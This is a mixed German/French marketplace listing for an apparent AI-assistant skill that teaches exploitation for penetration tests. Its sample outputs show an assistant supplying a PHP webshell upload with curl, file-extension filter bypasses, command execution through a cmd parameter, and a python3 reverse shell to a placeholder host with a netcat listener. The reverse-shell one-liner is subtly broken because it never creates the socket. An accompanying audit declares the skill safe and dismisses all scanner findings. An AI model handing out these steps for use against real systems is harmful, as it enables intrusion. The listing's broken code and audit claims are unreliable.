exploitation-knowledge
Anwenden von Exploitationstechniken für Penetrationstests
Dieser Skill bietet strukturierte Anleitung für Schwachstellenausnutzung und initialen Zugriff während autorisierter Penetrationstests. Er umfasst Exploit-Suche, Anpassung, Shell-Etablierung und User-Flag-Erfassung unter Verwendung branchenüblicher Tools und Methoden.
Télécharger le ZIP du skill
Importer dans Claude
Allez dans Paramètres → Capacités → Skills → Importer un skill
Activez et commencez à utiliser
Tester
Utilisation de "exploitation-knowledge". Ich habe einen PHP-File-Upload-Endpunkt gefunden. Hilf mir, ihn für RCE auszunutzen.
Résultat attendu:
- Upload a PHP webshell using curl: curl -F 'file=@shell.php' http://target/upload.php
- Try extension bypass: shell.php5, shell.phtml, shell.php.jpg
- Brute-force the uploads directory: gobuster dir -u http://target/uploads -x php
- Execute commands via: curl http://target/uploads/shell.php?cmd=id
- If filtering blocks characters, use base64 encoding for the payload
Utilisation de "exploitation-knowledge". Ich muss eine Reverse Shell etablieren, aber das Ziel hat nur python3 verfügbar.
Résultat attendu:
- Use python3 reverse shell: python3 -c 'import socket,subprocess,os;s=s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
- Start your listener first: nc -lvnp 4444
- If the target has python but not python3, use: python -c '...same syntax...'
Audit de sécurité
SûrThis is a pure documentation/methodology knowledge base for penetration testing education. The static scanner flagged 154 patterns found in documentation examples (tool references, command syntax, IP addresses) but failed to recognize the educational context. All findings are FALSE POSITIVES - this skill contains only written guidance about exploitation techniques, no executable code, no network operations, and no file system access. Content is consistent with authorized security research and industry-standard pentesting methodology used by security professionals on platforms like HackTheBox.
Facteurs de risque
🌐 Accès réseau (28)
⚙️ Commandes externes (76)
📁 Accès au système de fichiers (11)
Score de qualité
Ce que vous pouvez construire
Üben an verwundbaren Zielen
Anwenden strukturierter Exploitationsmethodik beim Testen von HackTheBox- oder VulnHub-Maschinen zur Kompetenzentwicklung
Durchführen der Initial-Access-Phase
Befolgen konsistenter Verfahren zum Erlangen von Befehlsausführung während autorisierter Penetrationstest-Engagements
Erlernen von Exploitationstechniken
Studieren dokumentierter Methoden für Reverse Shells, Web-Exploits und Privilege-Escalation-Vektoren
Essayez ces prompts
I discovered that port 80 is running Apache Struts 2.3. Help me find and adapt an exploit to gain initial access.
I have RCE on the target but nc is not available. What reverse shell options work with python3?
The target has an upload form at /upload.php. How do I test for RCE and what bypass techniques should I try?
My exploit ran but no shell appeared. The listener is running on port 4444. How do I diagnose what went wrong?
Bonnes pratiques
- Immer einen Listener einrichten, bevor Exploits ausgelöst werden, um Reverse Shells abzufangen
- Exploit-Code lesen und verstehen, bevor er in der eigenen Umgebung ausgeführt wird
- Fehler systematisch diagnostizieren, anstatt denselben Ansatz wiederholt zu versuchen
Éviter
- Exploits ausführen, ohne vorher zu verstehen, was sie tun
- Sich auf eine einzelne Exploit-Quelle verlassen, anstatt mehrere Quellen zu durchsuchen
- Annehmen, dass derselbe Exploit ohne Umgebungsanpassung funktioniert